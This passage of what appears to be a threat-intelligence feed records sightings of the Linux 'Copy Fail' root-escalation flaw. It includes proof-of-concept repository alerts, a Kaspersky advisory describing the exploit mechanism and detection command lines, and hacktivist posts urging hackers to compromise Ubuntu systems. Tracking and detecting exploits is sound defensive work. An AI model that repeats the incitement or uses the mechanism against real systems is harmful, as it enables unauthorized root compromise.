\u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a suominen\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Nix\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 12:59:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nTracking CVE-2026-31431 (Copy Fail)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T13:00:04.000000Z"}, {"uuid": "71cb26c3-3233-40af-809f-1402c5441f3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82487", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a autorootlinux\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Huchangzhi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 13:53:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u57fa\u4e8eCVE-2026-31431\u7684\u81ea\u52a8root\u811a\u672c\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T14:00:04.000000Z"}, {"uuid": "99e95589-a0e7-4dba-a09e-6863608d89c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/xX313XxTeam/1104", "content": "\u0647\u0630\u0627 \u0647\u0648\u0647 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062b\u063a\u0631\u0629 CVE-2026-31431 \u0628\u0623\u0633\u0645 Copy Fail \u0646\u0646\u0635\u062d \u0627\u0644\u062c\u0645\u0628\u0639 \u0628\u0623\u0633\u062a\u062e\u062f\u0627\u0645\u0647\u0627 \u0644\u0623\u062e\u062a\u0631\u0627\u0642 \u0627\u0646\u0638\u0645\u0629 Ubuntu \u0628\u0639\u062f \u0641\u0634\u0644 \u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0627\u0646\u0638\u0645\u0629 \u0628\u0633\u0628\u0628 \u0627\u0644\u0647\u062c\u0648\u0645 \u0627\u0644\u0630\u064a \u0646\u0641\u0630\u062a\u0647 \u0627\u0644\u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0627\u0633\u0644\u0627\u0645\u064a\u0629 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0631\u0627\u0642 - \u0641\u0631\u064a\u0642 313 \u0639\u0644\u0649 \u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u062a\u062d\u062a\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0640 Ubuntu \u0648\u062a\u0639\u0637\u064a\u0644\u0647\u0627 \u0628\u0627\u0644\u0643\u0627\u0645\u0644.\nThis is the exploit for the vulnerability CVE-2026-31431, codenamed \"Copy Fail.\" We recommend that everyone utilize it to compromise Ubuntu systems, following the failure of system updates caused by the attack executed by the Islamic Cyber \u200b\u200bResistance in Iraq \u2013 313 Team against Ubuntu's infrastructure, which resulted in its complete disablement.\n\n313 Team | BackUp | Beamed\n\n\u0627\u0644\u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0627\u0633\u0644\u0627\u0645\u064a\u0629 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0631\u0627\u0642\n\u0641\u0631\u064a\u0642 313\n#313_Team\n#Beamed_Network", "creation_timestamp": "2026-05-02T19:45:38.000000Z"}, {"uuid": "aea83453-f72e-4de5-bafc-13d621a6d93c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/xX313XxTeam/1101", "content": "\u0627\u0644\u0627\u0646 \u062a\u0646\u0641\u0630 \u0627\u0644\u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0627\u0633\u0644\u0627\u0645\u064a\u0629 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0631\u0627\u0642 - \u0641\u0631\u064a\u0642 313 \u0647\u062c\u0648\u0645 \u0633\u064a\u0628\u0631\u0627\u0646\u064a \u0636\u062e\u0645 \u064a\u0633\u062a\u0647\u062f\u0641 \u0627\u0644\u0645\u0643\u0648\u0646\u0627\u062a \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629 \u0644\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u0627\u0633\u0627\u0633\u064a\u0629 \u0644\u0640Ubuntu \u0648\u0627\u0644\u0627\u0646 \u0644\u0627 \u064a\u0645\u0643\u0646 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0639\u0627\u062f\u064a\u0629 \u0644\u0627 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0645\u0646\u064a\u0629 \u0644\u0627 \u062a\u062b\u0628\u064a\u062a \u0644\u0644\u0628\u0631\u0627\u0645\u062c \u0648 CI/CD \u0627\u0646\u0647\u0627\u0631 \u0648\u0627\u0644\u0628\u0646\u064a\u0629 \u0627\u0644\u062a\u062d\u062a\u064a\u0629 \u062a\u062a\u0648\u0642\u0641 \u062a\u062f\u0631\u064a\u062c\u064a\u0627\u064b\u060c \u0633\u064a\u0633\u062a\u0645\u0631 \u0644\u0645\u062f\u0629 8 \u0633\u0627\u0639\u0627\u062a \u0648\u0642\u062f \u064a\u0645\u062a\u062f \u0627\u0644\u0647\u062c\u0648\u0645 \u0644\u0645\u062f\u0629 \u0627\u0637\u0648\u0644.\n\u0628\u0639\u062f \u062a\u0648\u0642\u0641 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0627\u0645\u0627\u0646 \u0646\u0646\u0635\u062d \u0627\u0644\u0645\u062e\u062a\u0631\u0642\u064a\u0646 \u0628\u0628\u062f\u0627\u0621 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062b\u063a\u0631\u0629 CVE-2026-31431 \u0648\u0627\u0644\u0645\u0639\u0631\u0648\u0641\u0629 \u0628\u0623\u0633\u0645 Copy Fail \u0644\u0627\u0646 \u0627\u063a\u0644\u0628 \u0627\u0644\u0627\u0646\u0638\u0645\u0629 \u0627\u0644\u0627\u0646 \u062a\u0639\u0627\u0646\u064a \u0645\u0646 \u0647\u0630\u0627 \u0627\u0644\u062b\u063a\u0631\u0629 \u0628\u0639\u062f \u062a\u0639\u0637\u0644 \u062a\u062d\u062f\u064a\u062b\u0627\u062a \u0627\u0644\u0627\u0645\u0627\u0646 \u0648\u062a\u0639\u0637\u0644 \u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0628\u0631\u0627\u0645\u062c \u0627\u064a \u0627\u0646 \u0627\u0646\u0638\u0645\u0629 Ubuntu \u0627\u0644\u0627\u0646 \u0641\u0631\u064a\u0633\u0647 \u0633\u0647\u0644\u0647 \u0644\u0644\u0645\u062e\u062a\u0631\u0642\u064a\u0646.\nThe Islamic Cyber \u200b\u200bResistance in Iraq \u2013 313 Team is currently executing a massive cyberattack targeting key components of the Ubuntu infrastructure. Consequently, standard updates, security patches, and software installations are currently impossible; CI/CD pipelines have collapsed, and the infrastructure is gradually grinding to a halt. This disruption is expected to last for eight hours, though the attack may potentially extend for a longer duration.\nFollowing the suspension of security updates, we advise hackers to begin exploiting vulnerability CVE-2026-31431\u2014known as \"Copy Fail.\" This is because the majority of systems are now susceptible to this flaw due to the disruption of security updates and software installations, rendering Ubuntu systems easy prey for hackers.\n\n313 Team | BackUp | Beamed\n\n\u0627\u0644\u0645\u0642\u0627\u0648\u0645\u0629 \u0627\u0644\u0627\u0633\u0644\u0627\u0645\u064a\u0629 \u0627\u0644\u0633\u064a\u0628\u0631\u0627\u0646\u064a\u0629 \u0641\u064a \u0627\u0644\u0639\u0631\u0627\u0642\n\u0641\u0631\u064a\u0642 313\n#313_Team\n#Beamed_Network", "creation_timestamp": "2026-05-02T19:45:30.000000Z"}, {"uuid": "2064b7f5-5089-41cc-b1b2-d68d5d40b42f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82538", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a pulentoski\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 23:58:57\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T00:00:05.000000Z"}, {"uuid": "af7b6510-cae1-4a91-9130-5ad5a76d75c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/kasperskyb2b/2157", "content": "\u041d\u0430 \u0434\u043d\u044f\u0445 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431 (CopyFail) \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u0432\u0441\u0435\u0445 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u0421\u0443\u0442\u044c \u0443\u0437\u044f\u0432\u0438\u043c\u043e\u0441\u0442\u0438: \n\n\u041a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c authencesn \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0447\u0430\u0441\u0442\u044c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430\u00bb \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u0435 \u0431\u0430\u0439\u0442\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u0435\u0448\u0430 \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0434\u0430\u0451\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0435\u0448 \u043b\u044e\u0431\u043e\u0433\u043e \u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 732-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 Python-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AF_ALG \u0438 splice \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0431\u0430\u0439\u0442 \u0432 \u043a\u0435\u0448, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, setuid-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0448\u0435\u043b\u043b \u0441 \u0440\u0443\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438. \n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c:\n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e, \u0430 \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead (\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 AF_ALG \u0434\u043b\u044f AEAD).\n\n\u041a\u0430\u043a \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443: \n\n\u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u043d\u0430 Python \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0432\u044b\u0448\u0435.  \u0417\u0430\u043f\u0443\u0441\u043a \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u043d\u044b\u043c \u0441\u0442\u0440\u043e\u043a\u0430\u043c:\n \nsh -c -- su\nsh -c -- newgrp\nsh -c -- passwd\nsh -c -- gpasswd\nsh -c -- sudo\nsh -c -- chfn\nsh -c -- umount\nsh -c -- mount\nsh -c -- fusermount3\nsh -c -- chsh\nsh -c -- su\n\n\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 setuid-\u0444\u0430\u0439\u043b\u0430\u043c\u0438. \u0422\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u043f\u043e \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: Python \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 Shell. \n\n\u041d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432, \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u0435\u0442 \u043e\u0442\u043b\u0438\u0447\u0430\u0442\u044c\u0441\u044f. \u0421\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0440\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u0438 \u0434\u043e\u0447\u0435\u0440\u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0442 \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043b\u0438\u0431\u043e \u0444\u0430\u0439\u043b\u043e\u0432, \u043d\u0435\u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.", "creation_timestamp": "2026-04-30T14:30:05.000000Z"}, {"uuid": "d812ee57-dfd1-4967-9f24-2af8503639a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82552", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-check\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jbnetwork-git\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 00:40:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431  Helper basado en https://copy.fail/\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T01:00:05.000000Z"}, {"uuid": "e54bfc0b-7e23-458f-8e97-c4f38728d723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ctinow/249645", "content": "CVE-2026-31431: Copy Fail vulnerability enables Linux root privilege escalation across cloud environments\nhttps://ift.tt/DoaNdPk", "creation_timestamp": "2026-05-02T03:54:20.000000Z"}, {"uuid": "9305f015-a50e-4ae3-9feb-c7ba8b53d5a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/L4sKdvuAMq3ugqIKlVfY5v_-kzPZgLFDy0BVpy-19DgU_A", "content": "", "creation_timestamp": "2026-04-30T13:36:52.000000Z"}, {"uuid": "418c9fe0-74b4-4c17-86b5-7c2f3bf8a554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82566", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy-Fail-CVE-2026-31431-Linux-exp-tools-C-EXP\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a YuCc777\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 03:22:11\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCopy Fail-CVE-2026-31431&Linux \u63d0\u6743\u5de5\u5177&Linux-exp-tools&C-EXP\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T04:00:03.000000Z"}, {"uuid": "0fb59c20-5919-4359-9ad7-236fa6f55d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82592", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a vyahello\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 07:57:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLinux local privilege escalation PoC for CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T08:00:04.000000Z"}, {"uuid": "a48c39a1-2b31-45ea-98b4-5baf5d2fbaff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "Telegram/dBmf3IHc7_vk8hzgQ1wzPOzIXlDC6C93o_RQuOw8YMcVFA", "content": "", "creation_timestamp": "2026-05-03T11:40:22.000000Z"}, {"uuid": "316626a0-f259-4859-9435-7f2d9ae8080d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/10101", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV \u2013 thehackernews.com\n\nSun, 03 May 2026 14:26:00", "creation_timestamp": "2026-05-03T12:03:00.000000Z"}, {"uuid": "bce66acb-bc57-4955-8ad0-6d9e3a00d7b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82631", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Weekly-Breach-Investigation--006\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jamal-soc21\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 13:49:04\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nRepository documenting the Copy Fail (CVE-2026-31431) Linux kernel vulnerability, a local privilege escalation flaw enabling root access and mapped to MITRE ATT&CK techniques.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T14:00:04.000000Z"}, {"uuid": "c31117d8-3d89-4614-9933-39c70e71535f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cert.si/si-cert-2026-03", "content": "", "creation_timestamp": "2026-05-03T06:49:58.000000Z"}, {"uuid": "5d664502-ae44-4095-b193-dc666160482f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hexonbot.bsky.social/post/3mkxvc2ekuc2p", "content": "AI found a Linux kernel bug in 1 hour. Copy Fail (CVE-2026-31431) gives local users root with 732 bytes of Python and turns containers into escape hatches. https://www.hexon.bot/blog/copy-fail-cve-2026-31431-ai-discovered-linux-root #Linux #Cybersecurity #AI", "creation_timestamp": "2026-05-03T19:28:03.948954Z"}, {"uuid": "7c6ea645-d359-4159-b314-4c5f1619a9f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkxw63d4ii2h", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-03T19:43:43.981951Z"}, {"uuid": "b473c541-010a-41b2-881c-ec938fdb119f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82660", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 